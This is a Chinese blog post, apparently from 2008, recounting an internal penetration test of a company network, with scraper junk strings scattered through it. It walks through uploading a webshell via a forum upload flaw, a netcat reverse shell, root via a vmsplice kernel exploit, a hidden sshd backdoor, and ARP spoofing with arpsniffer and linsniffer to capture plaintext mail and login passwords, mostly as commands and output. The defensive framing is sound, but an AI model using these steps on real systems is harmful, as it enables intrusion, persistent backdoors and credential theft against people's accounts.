ARP欺骗嗅探公司邮箱密码的内部渗透测试

上一篇 / 下一篇  2008-09-20 07:20:10

IXPUB技术博客,e`x%PIn%H

早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用, bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺 骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务 器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以 为然。所以我进行了一次简单的内部渗透测试。IXPUB技术博客tKj([d@}P.}

:]GZ vI-_T6L10927611首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。IXPUB技术博客yxr#[ s?J$@W q

IXPUB技术博客l(y ?/~3sA$C`d:v

经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
Y} P*HQ$B b^S10927611如图1:
+_^/]EnI109276111

m+m+~NS/H10927611

m/ty-j t4}_I @10927611利用tools里面的反弹连接:
0zw?:}7fO10927611首先在本地用nc -l -p 5546监听端口IXPUB技术博客Bk(OI};IP.o2mP z
如图4:IXPUB技术博客H)m1k:_ V`
4

0S9kG]4@` m!E10927611

.G_x0Sd10927611然后在nst上点Back connect
3j0W^A-X?1{10927611如图2:(注意红色部分)IXPUB技术博客e | c:T2@ef|;}P ?
2

,z2I4t-W_"uo"v10927611IXPUB技术博客-S$?)kyOU%xgp/]

成功登陆IXPUB技术博客t0{:V[3oR$Y
如图3:
`HQ8CA$M!KK109276113IXPUB技术博客S)G@:@!^7FALp|

IXPUB技术博客&m F)]$fi]s

图5:IXPUB技术博客@&~:mXLO
5

#a @k'tU4@a2}10927611IXPUB技术博客.[p,\ g t*[B

在本地nc的窗口操作:
}.f0@H QCq]5N)I g10927611id
{tJtV g:R10927611uid=99(nobody) gid=99(nobody) groups=99(nobody)
K;diPBT(bmqy^10927611权限低了点,可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码:
2u*xI F0\ I+u(E10927611如图6:(注意红色部分,上传成功)IXPUB技术博客|k0Y&^ z aZ
6IXPUB技术博客s\1_t(St?*n

X8x9K(]G-x.Wgf10927611回到nc窗口:IXPUB技术博客 ]8eN]]
cp in.c /tmpIXPUB技术博客6U%f*P(Ex5~:B:G

IXPUB技术博客;s!Y2]S0}*I Bq-g`

cd /tmpIXPUB技术博客{;c]L*H+} t

IXPUB技术博客)}m-iV7H'E-[gU

ls
f}s}oO%g8S i10927611in.c
$e1@1wth1ZL10927611nst_c_bc_c.c
VpK2lkBU%U+Km,]10927611sess_af927ee319af5d5569b61ac520e53fcfIXPUB技术博客/L9^9@ z"R0A"g
ssh-ZeOfP16753
JY U/L-N^W3lM10927611tunl0

&Gc y;L(Hy4y-G10927611IXPUB技术博客{/Z1q7Csw7}]+V

gcc -o in in.c
Stm4rFvi10927611
5G@$wg.l2m"RB'e10927611lsIXPUB技术博客'AqQc])}3GPJ
in
G;?y U-r ]q10927611in.c
H v+j@"Stk10927611nst_c_bc_c.cIXPUB技术博客,J{+_!L8~Bswk
sess_af927ee319af5d5569b61ac520e53fcfIXPUB技术博客C#la S)U5@ K0d"j.L
ssh-ZeOfP16753IXPUB技术博客aV.[!{g(y"Z~
tunl0IXPUB技术博客P:t3^7]3Ho q

?d)nt&Fhh s$U+S/ql10927611/tmp/inIXPUB技术博客D5Xc(d:pw8MU
bash: no job control in this shellIXPUB技术博客ox)s%WWt(])m
[root@bbs111 tmp]# idIXPUB技术博客 v#a(V F\wh3dK[
uid=0(root) gid=0(root) groups=99(nobody)
-k&v7IV3Y0a%y"r10927611[root@bbs111 tmp]#

&y!?,r*Q5p kV10927611

(i7N#|[&X2y;} ck10927611已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。

3L#_:j2Tj6zy$D10927611IXPUB技术博客/J!K"y XaI+K+ex

擦擦pp,进行下一步我们的重点。

?K!b;c0f*a#x*Q:Yn10927611IXPUB技术博客| D ^ tFx7SF"g8{

我们还是直接用后门sshd登录。还是ssh舒服点:)IXPUB技术博客Or3B!_2o)I-CZ
如图7:IXPUB技术博客}6L,Ou8r;\
7IXPUB技术博客|:g0taY:_gw&R

IXPUB技术博客/p5~(j,L5@4i

在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:IXPUB技术博客 Q3AW*i?4]l

GT[p*~+i#|!d10927611[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
g*Pb:N7`elP10927611
'`6f eRL.in({10927611报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。IXPUB技术博客3Z^%_"Y]
IXPUB技术博客&tq5vhB
[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpmIXPUB技术博客{B:O:Uvh"Q
[root@bbs111 root]# wgethttp://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0IXPUB技术博客mCBr'c!MU&}
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gzIXPUB技术博客)x L ~4fH5j:]
[root@bbs111 root]# cd libpcap-0.8.1IXPUB技术博客R4D jR@L%n
[root@bbs111 libpcap-0.8.1]# ./configure
R2P4dr,r!B10927611[root@bbs111 libpcap-0.8.1]# makeIXPUB技术博客E]{_5`K
[root@bbs111 libpcap-0.8.1]# make installIXPUB技术博客EXr6q:WC5m

N7Ny w.j+d3vz10927611准备工作已经ok。下面重新编译arpsniffer.cIXPUB技术博客,P Pq.zw#pt

W$wF \ f @f10927611[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnetIXPUB技术博客VH_q#c$w%z
IXPUB技术博客{0{Y S1F,G[
这次没报错,编译成功。IXPUB技术博客N.[(T6VBQ1oVM
IXPUB技术博客f\;} [q5~ Nz
[root@bbs111 root]# ./arpsniffer
tXw+So X10927611====================================
Q'G%au:jG U10927611============Arp Sniffer=============IXPUB技术博客YUG$r/s
==========Write by Paris-Ye=========IXPUB技术博客$L N-J0q WJ
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
V.[8A.\w9m,O;J10927611===For example:IXPUB技术博客}$q.}3Gs u
        ./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254IXPUB技术博客2|-S { |IN

]M A8_"n*a'P~10927611下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)IXPUB技术博客%j6Yi'S5g NZ8\kn

,_~ cy$F"[h6r0L3`10927611[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
-K M!I8W"_WEt10927611110
N!hp.rTR8}5o10927611110IXPUB技术博客 s-dz8K,t|:Q
Get network cards mac address:IXPUB技术博客8wK3H~qOg
M-> 00:0e:a6:a5:80:4fIXPUB技术博客,A1_ OA)B+DHnJ
W-> 00:0f:e2:23:05:d0IXPUB技术博客!E\ _nd?L]I\A
S-> 00:d0:b7:88:07:59IXPUB技术博客 ]e3q/i$l

IXPUB技术博客0Tu0l5\ z*b/Lr'u%Z!I

Now Start... .. .IXPUB技术博客Q?2|7fY)K

IXPUB技术博客"RQ3|U;u-z

在另一个登录里面用tcpdump监听下:
4Agft?+v hc A0`10927611
-zQL:_R0u#`10927611[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11
lk!Z,NiZ10927611
"R O|6}a/_10927611发现有数据,把监听的数据存在文件里面:IXPUB技术博客|b ^~Gxx3i.D!nL Q
IXPUB技术博客 h2f;N cq\Ud3H/mo
[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt
7tO~[X+H? bS1f\1F10927611IXPUB技术博客/t\7{%G5Iy
10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。

0D[th.~x10927611

c7]*z+ON;a'?10927611下面我们就可以用linsniffer监听我们想要的用户名和密码了。
Smjg(n,I \:Kr10927611先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

k]Ve)gn10927611IXPUB技术博客$t eZVx

   if(ntohs(tcp->dest)==21) p=1; /* ftp */
-_ m;f#a2e10927611   if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/IXPUB技术博客,j?2l lAvM
   if(ntohs(tcp->dest)==23) p=1; /* telnet */
#tG L#_KK%P l?10927611   if(ntohs(tcp->dest)==80) p=1; /* http */
*ZJ8|[#o0[O10927611   if(ntohs(tcp->dest)==110) p=1; /* pop3 */IXPUB技术博客KqT@%z P
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */IXPUB技术博客%w2gtdM
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

exqDFI|`(eD10927611IXPUB技术博客C oQ5| Th

[root@bbs111 root]# gcc -o linsniffer linsniffer.c
hAa'f_10927611In file included from /usr/include/linux/tcp.h:21,IXPUB技术博客 M9L'nc3y q
                 from linsniffer.c:32:
3Lx(h0fN,T*O"H10927611/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!
m,s8z \'K|"hX/@10927611IXPUB技术博客e&S-o)N v ~
不用管警告,直接运行编译后的linsniffer即可。
x*w j:G7FDfW10927611IXPUB技术博客tmg Py
[root@bbs111 root]# ./linsniffer
Y1c E3k2j7iv10927611IXPUB技术博客0?\Ub eKa"P @^
用户名和密码都自动存到了tcp.log下。如图8:
%iU(H*is8U5B109276118IXPUB技术博客3FN_u2^7p8^

IXPUB技术博客tq;F(d8_j J6eh

经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新 一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。

| I1pxeS)JYV10927611

TAG: arp ARP Arp 密码 欺骗 邮箱

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-05  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 64926
  • 日志数: 1202
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-05

RSS订阅

Open Toolbar